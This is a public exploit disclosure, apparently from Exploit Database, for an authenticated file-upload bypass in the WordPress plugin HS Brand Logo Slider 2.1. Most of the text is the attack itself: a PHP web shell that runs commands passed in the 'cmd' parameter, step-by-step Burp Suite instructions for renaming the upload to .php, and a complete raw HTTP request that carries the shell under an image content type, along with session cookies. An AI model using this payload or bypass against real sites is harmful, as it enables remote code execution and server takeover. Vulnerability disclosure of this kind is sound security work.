WordPress Plugin HS Brand Logo Slider 2.1 – ‘logoupload’ File Upload

• Exploit Database
• 40 阅读

• 作者： Net-Hunter
  日期： 2020-10-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48913/

• # Exploit Title: WordPress Plugin HS Brand Logo Slider 2.1 - 'logoupload' File Upload
  # Date: 2020-10-20
  # Exploit Author: Net-Hunter
  # Google Dork: N/A
  # Software Link: https://ms.wordpress.org/plugins/hs-brand-logo-slider/
  # Vendor Homepage: https://www.heliossolutions.co/
  # Tested on: Linux Apache / WordPress 5.5.1
  # Version: 2.1
  
  
  .:: Description ::.
  An Authenticated User Can Bypass Uploader of the Plugin and Upload Arbitary File
  Because the extension of the Uploaded Flie is Checked on Client Side
  
  .:: Vulnerable File ::.
  /wp-admin/admin.php?page=hs-brand-logo-slider.php 
  
  .:: Vulnerable Code ::.
  Content-Disposition: form-data; name="logoupload"; filename="a.php"
  Content-Type: image/jpeg
  <?php echo system($_GET['cmd']); ?>
  
  .:: Proof Of Concept (Poc) ::.
  Step 1 - Log in to your account , Select hs-brand-logo-slider from the menu
  Upload
  Step 2 - Stop the upload request with burp suite
  Step 3 - Rename the file, for example a.jpg to a.php
  Step 4 - Your shell has been uploaded, showing the file path in the table
  
  .:: Sample Request::.
  
  POST /wp-admin/admin.php?page=hs-brand-logo-slider.php HTTP/1.1
  Host: 172.16.1.17:81
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://172.16.1.17:81/wp-admin/admin.php?page=hs-brand-logo-slider.php
  Content-Type: multipart/form-data; boundary=---------------------------407602771734524910834293111227
  Content-Length: 81765
  Origin: http://172.16.1.17:81
  Connection: close
  Cookie: wordpress_558570ec66c8a5729fc0bd982edbc38a=admin%7C1603353703%7Ckvhq1mWuwe5MGz3wZpw8Rxi5eiJtxYMQDHzZFCkebGS%7C15d778148be9d49e48b6275e009642192e10b1d8a9e5e44a191141084f2618b6; wp-settings-time-2=1592045029; wp-settings-2=libraryContent%3Dbrowse%26editor%3Dtinymce; wp_learn_press_session_558570ec66c8a5729fc0bd982edbc38a=9c5476d130f39254b97895578a6cf9e2%7C%7C1603353694%7C%7Cd6957c27eda7a311e486866587a08500; wordpress_test_cookie=WP+Cookie+check; wordpress_lp_guest=fad4f6783283c86762dc8944423947d0; wordpress_logged_in_558570ec66c8a5729fc0bd982edbc38a=admin%7C1603353703%7Ckvhq1mWuwe5MGz3wZpw8Rxi5eiJtxYMQDHzZFCkebGS%7C80d7786798b351d10cbdfe07ba50c31d2400ccbfb173d4b90255cab42791ccd7; wp-settings-time-1=1603180907
  Upgrade-Insecure-Requests: 1
  
  -----------------------------407602771734524910834293111227
  Content-Disposition: form-data; name="brandname"
  
  aaa
  -----------------------------407602771734524910834293111227
  Content-Disposition: form-data; name="logoupload"; filename="eftekharr.php"
  Content-Type: image/jpeg
  <?php echo system($_GET['cmd']); ?>
  
  -----------------------------407602771734524910834293111227
  Content-Disposition: form-data; name="logourl"
  
  http://aa.com
  -----------------------------407602771734524910834293111227
  Content-Disposition: form-data; name="sortorder"
  
  1
  -----------------------------407602771734524910834293111227
  Content-Disposition: form-data; name="submit_data"
  
  Submit
  -----------------------------407602771734524910834293111227--